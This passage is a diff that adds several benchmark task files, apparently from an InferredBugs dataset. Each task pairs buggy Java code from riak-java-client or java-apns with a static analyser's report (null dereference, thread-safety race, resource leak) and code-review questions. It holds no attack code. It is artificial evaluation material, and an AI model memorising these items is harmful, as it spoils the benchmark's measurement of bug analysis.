+                linkHeader.append("=\"");
+                linkHeader.append(link.getTag());
+                linkHeader.append("\"");
+            }
+        }
+        if (linkHeader.length() > 0) {
+            meta.setHeader(Constants.HDR_LINK, linkHeader.toString());
+        }
+        if (usermeta != null) {
+            for (String name : usermeta.keySet()) {
+                meta.setHeader(Constants.HDR_USERMETA_PREFIX + name, usermeta.get(name));
+            }
+        }
+        if (vclock != null) {
+            meta.setHeader(Constants.HDR_VCLOCK, vclock);
+        }
+
+        HttpResponse r = helper.store(object, meta);
+        if (r == null)
+            return null;
+
+        return new RawStoreResponse(r);
+    }
+
+    public RawStoreResponse store(RiakObject object) {
+        return store(object, null);
+    }
+
+    public RawFetchResponse fetchMeta(String bucket, String key, RequestMeta meta) {
+        try {
+            return new RawFetchResponse(helper.fetchMeta(bucket, key, meta));
+        } catch (RiakResponseException e) {
+            return new RawFetchResponse(helper.toss(e));
+        }
+    }
+
+    public RawFetchResponse fetchMeta(String bucket, String key) {
+        return fetchMeta(bucket, key, null);
+    }
+
+    // Fetches the object or all sibling objects if there are multiple
+    public RawFetchResponse fetch(String bucket, String key, RequestMeta meta) {
+        if (meta == null) {
+            meta = new RequestMeta();
+        }
+
+        String accept = meta.getQueryParam(Constants.HDR_ACCEPT);
+        if (accept == null) {
+            meta.setHeader(Constants.HDR_ACCEPT, Constants.CTYPE_ANY + ", " + Constants.CTYPE_MULTIPART_MIXED);
+        } else {
+            meta.setHeader(Constants.HDR_ACCEPT, accept + ", " + Constants.CTYPE_MULTIPART_MIXED);
+        }
+
+        HttpResponse r = helper.fetch(bucket, key, meta);
+        if (r == null)
+            return null;
+
+        try {
+            return new RawFetchResponse(r);
+        } catch (RiakResponseException e) {
+            return new RawFetchResponse(helper.toss(e));
+        }
+
+    }
+
+    public RawFetchResponse fetch(String bucket, String key) {
+        return fetch(bucket, key, null);
+    }
+
+    public boolean stream(String bucket, String key, StreamHandler handler, RequestMeta meta) throws IOException {
+        return helper.stream(bucket, key, handler, meta);
+    }
+
+    public HttpResponse delete(String bucket, String key, RequestMeta meta) {
+        return helper.delete(bucket, key, meta);
+    }
+
+    public HttpResponse delete(String bucket, String key) {
+        return delete(bucket, key, null);
+    }
+
+    public RawWalkResponse walk(String bucket, String key, String walkSpec, RequestMeta meta) {
+        HttpResponse r = helper.walk(bucket, key, walkSpec, meta);
+        if (r == null)
+            return null;
+
+        try {
+            return new RawWalkResponse(r);
+        } catch (RiakResponseException e) {
+            return new RawWalkResponse(helper.toss(e));
+        }
+    }
+
+    public RawWalkResponse walk(String bucket, String key, String walkSpec) {
+        return walk(bucket, key, walkSpec, null);
+    }
+
+    public RawWalkResponse walk(String bucket, String key, RiakWalkSpec walkSpec) {
+        return walk(bucket, key, walkSpec.toString(), null);
+    }
+    
+    /** @return the installed exception handler or null if not installed */
+    public RiakExceptionHandler getExceptionHandler() {
+        return helper.getExceptionHandler();
+    }
+
+    /**
+     * Install an exception handler. If an exception handler is provided, then
+     * the Riak client will hand exceptions to the handler rather than throwing
+     * them.
+     */
+    public void setExceptionHandler(RiakExceptionHandler exceptionHandler) {
+        helper.setExceptionHandler(exceptionHandler);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object `null` could be null and is dereferenced by call to `fetch(...)` at line 178.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+RawFetchResponse RawClient.fetch(String,String)
+
+### Procedure Id:
+com.basho.riak.client.raw.RawClient.fetch(java.lang.String,java.lang.String):com.basho.riak.client.r.68851800a206e19705d673d85ae08c78
+
+### File:
+src/main/java/com/basho/riak/client/raw/RawClient.java
+
+### Key:
+RawClient.java|fetch|NULL_DEREFERENCE
+
+### Node Key:
+8b99a1c23932de4aaee9b552926bd25a
+
+### Hash:
+587a3b50b07fe04ca7f65c28253f8ca5
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9842/instruction.md b/inferredbugs-9842/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4c14dc29440718401991bdd3784077a03ec59a0c
--- /dev/null
+++ b/inferredbugs-9842/instruction.md
@@ -0,0 +1,243 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riak-java-client
+**Bug ID:** 14
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ * This file is part of riak-java-pb-client 
+ *
+ * Copyright (c) 2010 by Trifork
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *  
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ **/
+
+package com.basho.riak.pbc;
+
+import java.io.BufferedInputStream;
+import java.io.BufferedOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.Socket;
+import java.util.Timer;
+import java.util.TimerTask;
+
+import com.basho.riak.pbc.RPB.RpbErrorResp;
+import com.google.protobuf.MessageLite;
+
+/**
+ * Wraps the {@link Socket} used to send/receive data to Riak's protocol buffers interface.
+ * 
+ * See <a href="http://wiki.basho.com/PBC-API.html">Basho Wiki</a> for more details.
+ */
+class RiakConnection {
+
+	static final int DEFAULT_RIAK_PB_PORT = 8087;
+
+	 private Socket sock;
+	 private DataOutputStream dout;
+	 private DataInputStream din;
+
+	public RiakConnection(InetAddress addr, int port, int bufferSizeKb) throws IOException {
+	    sock = new Socket(addr, port);
+
+	    sock.setSendBufferSize(1024 * bufferSizeKb);
+
+	    dout = new DataOutputStream(new BufferedOutputStream(sock
+                .getOutputStream(), 1024 * bufferSizeKb));
+        din = new DataInputStream(
+                new BufferedInputStream(sock.getInputStream(), 1024 * bufferSizeKb));
+    }
+
+	///////////////////////
+
+	void send(int code, MessageLite req) throws IOException {
+		int len = req.getSerializedSize();
+		dout.writeInt(len + 1);
+		dout.write(code);
+		req.writeTo(dout);
+		dout.flush();
+	}
+
+	void send(int code) throws IOException {
+		dout.writeInt(1);
+		dout.write(code);
+		dout.flush();
+	}
+
+	byte[] receive(int code) throws IOException {
+		int len = din.readInt();
+		int get_code = din.read();
+
+		byte[] data = null;
+        if (len > 1) {
+            data = new byte[len - 1];
+            din.readFully(data);
+        }
+
+        if (get_code == RiakClient.MSG_ErrorResp) {
+            RpbErrorResp err = com.basho.riak.pbc.RPB.RpbErrorResp.parseFrom(data);
+            throw new RiakError(err);
+        }
+
+		if (code != get_code) {
+            throw new IOException("bad message code. Expected: " + code + " actual: " + get_code);
+        }
+
+		return data;
+	}
+
+	void receive_code(int code) throws IOException, RiakError {
+		int len = din.readInt();
+		int get_code = din.read();
+		if (code == RiakClient.MSG_ErrorResp) {
+			RpbErrorResp err = com.basho.riak.pbc.RPB.RpbErrorResp.parseFrom(din);
+			throw new RiakError(err);
+		}
+		if (len != 1 || code != get_code) {
+			throw new IOException("bad message code");
+		}
+	}
+
+	static Timer TIMER = new Timer("riak-client-timeout-thread", true);
+	TimerTask idle_timeout;
+	
+	public void beginIdle() {
+		idle_timeout = new TimerTask() {
+			
+			@Override
+			public void run() {
+				RiakConnection.this.timer_fired(this);
+			}
+		};
+		
+		TIMER.schedule(idle_timeout, 1000);
+	}
+
+	synchronized void timer_fired(TimerTask fired_timer) {
+		if (idle_timeout != fired_timer) {
+			// if it is not our current timer, then ignore
+			return;
+		}
+		
+		close();
+	}
+
+	void close() {
+		if (isClosed())
+			return;
+		
+		try {
+			sock.close();
+			din = null;
+			dout = null;
+			sock = null;
+		} catch (IOException e) {
+			// TODO Auto-generated catch block
+			e.printStackTrace();
+		}
+	}
+
+	synchronized boolean endIdleAndCheckValid() {
+		TimerTask tt = idle_timeout;
+		if (tt != null) { tt.cancel(); }
+		idle_timeout = null;
+		
+		if (isClosed()) {
+			return false;
+		} else {
+			return true;
+		}
+	}
+
+	public DataOutputStream getOutputStream() {
+		return dout;
+	}
+
+	public boolean isClosed() {
+		return sock == null || sock.isClosed();
+	}
+	
+	
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.basho.riak.pbc.RiakConnection.close` writes to field `this.com.basho.riak.pbc.RiakConnection.dout` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void RiakConnection.close()
+
+### Procedure Id:
+com.basho.riak.pbc.RiakConnection.close():void.a946b834a56d1390933ecb12ed4186fc
+
+### File:
+src/main/java/com/basho/riak/pbc/RiakConnection.java
+
+### Key:
+RiakConnection.java|close|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+2b0e6980fc97e4e8168bfb149e73e230
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9843/instruction.md b/inferredbugs-9843/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..a0723edfc268bcf266feee5726476958971ebe0f
--- /dev/null
+++ b/inferredbugs-9843/instruction.md
@@ -0,0 +1,205 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** riak-java-client
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.basho.riak.client.api.commands;
+
+import com.basho.riak.client.core.StreamingRiakFuture;
+import com.basho.riak.client.core.util.BinaryValue;
+
+import java.util.Iterator;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TransferQueue;
+import java.util.function.Function;
+
+public class ChunkedResponseIterator<FinalT, ChunkT extends Iterable<CoreT>, CoreT> implements Iterator<FinalT>
+{
+    private final int timeout;
+    private volatile BinaryValue continuation = null;
+    private final StreamingRiakFuture<ChunkT, ?> coreFuture;
+    private final TransferQueue<ChunkT> chunkQueue;
+    private final Function<CoreT, FinalT> createNext;
+    private final Function<ChunkT, Iterator<CoreT>> getNextIterator;
+    private final Function<ChunkT, BinaryValue> getContinuationFn;
+
+    private Iterator<CoreT> currentIterator = null;
+
+    public ChunkedResponseIterator(StreamingRiakFuture<ChunkT, ?> coreFuture,
+                                   int pollTimeout,
+                                   Function<CoreT, FinalT> createNextFn,
+                                   Function<ChunkT, Iterator<CoreT>> getNextIteratorFn)
+    {
+        this(coreFuture, pollTimeout, createNextFn, getNextIteratorFn, (x) -> null);
+    }
+
+    public ChunkedResponseIterator(StreamingRiakFuture<ChunkT, ?> coreFuture,
+                                   int pollTimeout,
+                                   Function<CoreT, FinalT> createNextFn,
+                                   Function<ChunkT, Iterator<CoreT>> getNextIteratorFn,
+                                   Function<ChunkT, BinaryValue> getContinuationFn)
+    {
+        this.timeout = pollTimeout;
+        this.coreFuture = coreFuture;
+        this.chunkQueue = coreFuture.getResultsQueue();
+        this.createNext = createNextFn;
+        this.getNextIterator = getNextIteratorFn;
+        this.getContinuationFn = getContinuationFn;
+        loadNextChunkIterator();
+    }
+
+    @Override
+    public boolean hasNext()
+    {
+        return currentIteratorHasNext() || possibleChunksRemaining();
+    }
+
+    private boolean currentIteratorHasNext()
+    {
+        return currentIterator != null && currentIterator.hasNext();
+    }
+
+    private boolean possibleChunksRemaining()
+    {
+        // Chunks may remain if :
+        // Core Operation Not Done OR items still in chunk Queue
+        return !coreFuture.isDone() || !chunkQueue.isEmpty();
+    }
+
+    public boolean hasContinuation()
+    {
+        return continuation != null || possibleChunksRemaining();
+    }
+
+    public BinaryValue getContinuation()
+    {
+        return continuation;
+    }
+
+    @Override
+    public synchronized FinalT next()
+    {
+        if(!hasNext())
+        {
+            return null;
+        }
+
+        if(!currentIteratorHasNext())
+        {
+            loadNextChunkIterator();
+
+            if(!hasNext())
+            {
+                return null;
+            }
+        }
+
+        return createNext.apply(currentIterator.next());
+    }
+
+    private void loadNextChunkIterator()
+    {
+        this.currentIterator = null;
+        boolean populatedChunkLoaded = false;
+
+        try
+        {
+            while (!populatedChunkLoaded && possibleChunksRemaining())
+            {
+                final ChunkT nextChunk = chunkQueue.poll(timeout, TimeUnit.MILLISECONDS);
+
+                if (nextChunk != null)
+                {
+                    this.currentIterator = getNextIterator.apply(nextChunk);
+                    populatedChunkLoaded = currentIteratorHasNext();
+
+                    loadContinuation(nextChunk);
+                }
+            }
+        }
+        catch (InterruptedException e)
+        {
+            Thread.currentThread().interrupt();
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void loadContinuation(ChunkT nextChunk)
+    {
+        final BinaryValue fetchedContinuation = getContinuationFn.apply(nextChunk);
+        if(this.continuation == null && fetchedContinuation != null)
+        {
+            this.continuation = fetchedContinuation;
+        }
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `com.basho.riak.client.api.commands.ChunkedResponseIterator.hasNext` indirectly reads without synchronization from `this.com.basho.riak.client.api.commands.ChunkedResponseIterator.currentIterator`. Potentially races with write in method `ChunkedResponseIterator.next()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+boolean ChunkedResponseIterator.hasNext()
+
+### Procedure Id:
+com.basho.riak.client.api.commands.ChunkedResponseIterator.hasNext():boolean.fd4da90e30705ccc42defa4f2c2ae29d
+
+### File:
+src/main/java/com/basho/riak/client/api/commands/ChunkedResponseIterator.java
+
+### Key:
+ChunkedResponseIterator.java|hasNext|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+87a45c546aceb3f65539a9ee4e163e32
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9872/instruction.md b/inferredbugs-9872/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..fefc7c8e306004f4183898e180917beb8cce45c7
--- /dev/null
+++ b/inferredbugs-9872/instruction.md
@@ -0,0 +1,135 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-apns
+**Bug ID:** 2
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package com.notnoop.apns.internal;
+
+import static com.notnoop.apns.internal.MockingUtils.*;
+
+import java.io.ByteArrayOutputStream;
+
+import javax.net.SocketFactory;
+
+import org.junit.Assert;
+import org.junit.Test;
+
+import com.notnoop.apns.ApnsNotification;
+
+public class ApnsConnectionTest {
+    ApnsNotification msg = new ApnsNotification ("a87d8878d878a79", "{\"aps\":{}}");
+
+    @Test
+    public void simpleSocket() {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        SocketFactory factory = mockSocketFactory(baos, null);
+        packetSentRegardless(factory, baos);
+    }
+
+    @Test
+    public void closedSocket() {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        SocketFactory factory = mockClosedThenOpenSocket(baos, null, true, 1);
+        packetSentRegardless(factory, baos);
+    }
+
+    @Test
+    public void errorOnce() {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        SocketFactory factory = mockClosedThenOpenSocket(baos, null, false, 1);
+        packetSentRegardless(factory, baos);
+    }
+
+    @Test
+    public void errorTwice() {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        SocketFactory factory = mockClosedThenOpenSocket(baos, null, false, 2);
+        packetSentRegardless(factory, baos);
+    }
+
+    /**
+     * Connection fails after three retries
+     */
+    @Test(expected = Exception.class)
+    public void errorThrice() {
+        ByteArrayOutputStream baos = new ByteArrayOutputStream();
+        SocketFactory factory = mockClosedThenOpenSocket(baos, null, false, 3);
+        packetSentRegardless(factory, baos);
+    }
+
+    private void packetSentRegardless(SocketFactory sf, ByteArrayOutputStream baos) {
+        ApnsConnection connection = new ApnsConnection(sf, "localhost", 80);
+        connection.DELAY_IN_MS = 0;
+        connection.sendMessage(msg);
+        Assert.assertArrayEquals(msg.marshall(), baos.toByteArray());
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `com.notnoop.apns.internal.ApnsConnection` acquired to `connection` by call to `ApnsConnection(...)` at line 56 is not released after line 58.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void ApnsConnectionTest.packetSentRegardless(SocketFactory,ByteArrayOutputStream)
+
+### Procedure Id:
+com.notnoop.apns.internal.ApnsConnectionTest.packetSentRegardless(javax.net.SocketFactory,java.io.By.0c0a357a6d832fe3eaa9bd32a218aa84
+
+### File:
+src/test/java/com/notnoop/apns/internal/ApnsConnectionTest.java
+
+### Key:
+ApnsConnectionTest.java|packetSentRegardless|RESOURCE_LEAK
+
+### Node Key:
+141d12c688da63d404fcff6ee9c41043
+
+### Hash:
+9cbbff318372466aba416fa6b57931da
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9873/instruction.md b/inferredbugs-9873/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6f3fa3469f64c59648a5495e047f63d984b72bfb
--- /dev/null
+++ b/inferredbugs-9873/instruction.md
@@ -0,0 +1,391 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** java-apns
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2009, Mahmood Ali.
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are
+ * met:
+ *
+ *   * Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ *   * Redistributions in binary form must reproduce the above
+ *     copyright notice, this list of conditions and the following disclaimer
+ *     in the documentation and/or other materials provided with the
+ *     distribution.
+ *   * Neither the name of Mahmood Ali. nor the names of its
+ *     contributors may be used to endorse or promote products derived from
+ *     this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+ * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+ * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+ * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+ * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+ * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+ * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+ * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+ * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+package com.notnoop.apns.internal;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+
+import javax.net.SocketFactory;
+import javax.net.ssl.SSLSocketFactory;
+
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+import com.notnoop.apns.ApnsDelegate;
+import com.notnoop.apns.ApnsNotification;
+import com.notnoop.apns.DeliveryError;
+import com.notnoop.apns.ReconnectPolicy;
+import com.notnoop.apns.SimpleApnsNotification;
+import com.notnoop.exceptions.ApnsDeliveryErrorException;
+import com.notnoop.exceptions.NetworkIOException;
+import java.util.LinkedList;
+import java.util.Queue;
+import java.util.concurrent.ConcurrentLinkedQueue;
+
+public class ApnsConnectionImpl implements ApnsConnection {
+
+    private static final Logger logger = LoggerFactory.getLogger(ApnsConnectionImpl.class);
+    
+    private final SocketFactory factory;
+    private final String host;
+    private final int port;
+    private final Proxy proxy;
+    private final ReconnectPolicy reconnectPolicy;
+    private final ApnsDelegate delegate;
+    private int cacheLength;
+    private final boolean errorDetection;
+    private final boolean autoAdjustCacheLength;
+    private final ConcurrentLinkedQueue<ApnsNotification> cachedNotifications, notificationsBuffer;
+
+    public ApnsConnectionImpl(SocketFactory factory, String host, int port) {
+        this(factory, host, port, new ReconnectPolicies.Never(), ApnsDelegate.EMPTY);
+    }
+
+    public ApnsConnectionImpl(SocketFactory factory, String host,
+            int port, ReconnectPolicy reconnectPolicy,
+            ApnsDelegate delegate) {
+        this(factory, host, port, null, reconnectPolicy,
+                delegate);
+    }
+    
+    public ApnsConnectionImpl(SocketFactory factory, String host,
+            int port, Proxy proxy, ReconnectPolicy reconnectPolicy,
+            ApnsDelegate delegate) {
+        this(factory, host, port, proxy, reconnectPolicy,
+                delegate, false, ApnsConnection.DEFAULT_CACHE_LENGTH, true);
+    }
+
+    public ApnsConnectionImpl(SocketFactory factory, String host,
+            int port, Proxy proxy,
+            ReconnectPolicy reconnectPolicy, ApnsDelegate delegate,
+            boolean errorDetection, int cacheLength, boolean autoAdjustCacheLength) {
+        this.factory = factory;
+        this.host = host;
+        this.port = port;
+        this.reconnectPolicy = reconnectPolicy;
+        this.delegate = delegate == null ? ApnsDelegate.EMPTY : delegate;
+        this.proxy = proxy;
+        this.errorDetection = errorDetection;
+        this.cacheLength = cacheLength;
+        this.autoAdjustCacheLength = autoAdjustCacheLength;
+        cachedNotifications = new ConcurrentLinkedQueue<ApnsNotification>();
+        notificationsBuffer = new ConcurrentLinkedQueue<ApnsNotification>();
+    }
+
+    public synchronized void close() {
+        Utilities.close(socket);
+    }
+
+    private void monitorSocket(final Socket socket) {
+        class MonitoringThread extends Thread {
+
+            @Override
+            public void run() {
+
+                try {
+                    InputStream in = socket.getInputStream();
+
+                    // TODO(jwilson): this should readFully()
+                    final int expectedSize = 6;
+                    byte[] bytes = new byte[expectedSize];
+                    while (in.read(bytes) == expectedSize) {
+
+                        int command = bytes[0] & 0xFF;
+                        if (command != 8) {
+                            throw new IOException("Unexpected command byte " + command);
+                        }
+                        int statusCode = bytes[1] & 0xFF;
+                        DeliveryError e = DeliveryError.ofCode(statusCode);
+
+                        int id = Utilities.parseBytes(bytes[2], bytes[3], bytes[4], bytes[5]);
+
+                        Queue<ApnsNotification> tempCache = new LinkedList<ApnsNotification>();
+                        ApnsNotification notification = null;
+                        boolean foundNotification = false;
+
+                        while (!cachedNotifications.isEmpty()) {
+                            notification = cachedNotifications.poll();
+
+                            if (notification.getIdentifier() == id) {
+                                foundNotification = true;
+                                break;
+                            }
+                            tempCache.add(notification);
+                        }
+
+                        if (foundNotification) {
+                            delegate.messageSendFailed(notification, new ApnsDeliveryErrorException(e));
+                        } else {
+                            cachedNotifications.addAll(tempCache);
+                            int resendSize = tempCache.size();
+                            logger.warn("Received error for message "
+                                    + "that wasn't in the cache...");
+                            if (autoAdjustCacheLength) {
+                                cacheLength = cacheLength + (resendSize / 2);
+                                delegate.cacheLengthExceeded(cacheLength);
+                            }
+                            delegate.messageSendFailed(null, new ApnsDeliveryErrorException(e));
+                        }
+
+                        int resendSize = 0;
+
+                        while (!cachedNotifications.isEmpty()) {
+                            resendSize++;
+                            notificationsBuffer.add(cachedNotifications.poll());
+                        }
+                        delegate.notificationsResent(resendSize);
+
+                        delegate.connectionClosed(e, id);
+
+                        drainBuffer();
+                    }
+
+                } catch (Exception e) {
+                    // An exception when reading the error code is non-critical, it will cause another retry
+                    // sending the message. Other than providing a more stable network connection to the APNS
+                    // server we can't do much about it - so let's not spam the application's error log.
+                    logger.info("Exception while waiting for error code", e);
+                    delegate.connectionClosed(DeliveryError.UNKNOWN, -1);
+                } finally {
+                    close();
+                }
+            }
+        }
+        Thread t = new MonitoringThread();
+        t.setDaemon(true);
+        t.start();
+    }
+    // This method is only called from sendMessage.  sendMessage
+    // has the required logic for retrying
+    private Socket socket;
+
+    private synchronized Socket socket() throws NetworkIOException {
+        if (reconnectPolicy.shouldReconnect()) {
+            Utilities.close(socket);
+            socket = null;
+        }
+
+        if (socket == null || socket.isClosed()) {
+            try {
+                if (proxy == null) {
+                    socket = factory.createSocket(host, port);
+                } else if (proxy.type() == Proxy.Type.HTTP) {
+                    TlsTunnelBuilder tunnelBuilder = new TlsTunnelBuilder();
+                    socket = tunnelBuilder.build((SSLSocketFactory) factory, proxy, host, port);
+                } else {
+                    boolean success = false;
+                    Socket proxySocket = null;
+                    try {
+                        proxySocket = new Socket(proxy);
+                        proxySocket.connect(new InetSocketAddress(host, port));
+                        socket = ((SSLSocketFactory) factory).createSocket(proxySocket, host, port, false);
+                        success = true;
+                    } finally {
+                        if (!success) {
+                            Utilities.close(proxySocket);
+                        }
+                    }
+                }
+
+                if (errorDetection) {
+                    monitorSocket(socket);
+                }
+
+                reconnectPolicy.reconnected();
+                logger.debug("Made a new connection to APNS");
+            } catch (IOException e) {
+                logger.error("Couldn't connect to APNS server", e);
+                throw new NetworkIOException(e);
+            }
+        }
+        return socket;
+    }
+    int DELAY_IN_MS = 1000;
+    private static final int RETRIES = 3;
+
+    public synchronized void sendMessage(ApnsNotification m) throws NetworkIOException {
+        sendMessage(m, false);
+    }
+
+    public synchronized void sendMessage(ApnsNotification m, boolean fromBuffer) throws NetworkIOException {
+
+        int attempts = 0;
+        while (true) {
+            try {
+                attempts++;
+                Socket socket = socket();
+                socket.getOutputStream().write(m.marshall());
+                socket.getOutputStream().flush();
+                cacheNotification(m);
+
+                delegate.messageSent(m, fromBuffer);
+
+                logger.debug("Message \"{}\" sent", m);
+
+                attempts = 0;
+                drainBuffer();
+                break;
+            } catch (Exception e) {
+                Utilities.close(socket);
+                socket = null;
+                if (attempts >= RETRIES) {
+                    logger.error("Couldn't send message after " + RETRIES + " retries." + m, e);
+                    delegate.messageSendFailed(m, e);
+                    Utilities.wrapAndThrowAsRuntimeException(e);
+                }
+                // The first failure might be due to closed connection
+                // don't delay quite yet
+                if (attempts != 1) {
+                    // Do not spam the log files when the APNS server closed the socket (due to a
+                    // bad token, for example), only log when on the second retry.
+                    logger.info("Failed to send message " + m + "... trying again after delay", e);
+                    Utilities.sleep(DELAY_IN_MS);
+                }
+            }
+        }
+    }
+
+    private void drainBuffer() {
+        if (!notificationsBuffer.isEmpty()) {
+            sendMessage(notificationsBuffer.poll(), true);
+        }
+    }
+
+    private void cacheNotification(ApnsNotification notification) {
+        cachedNotifications.add(notification);
+        while (cachedNotifications.size() > cacheLength) {
+            cachedNotifications.poll();
+            logger.debug("Removing notification from cache " + notification);
+        }
+    }
+
+    public ApnsConnectionImpl copy() {
+        return new ApnsConnectionImpl(factory, host, port, proxy, reconnectPolicy.copy(),
+                delegate, errorDetection, cacheLength, autoAdjustCacheLength);
+    }
+
+    public void testConnection() throws NetworkIOException {
+        ApnsConnectionImpl testConnection = null;
+        try {
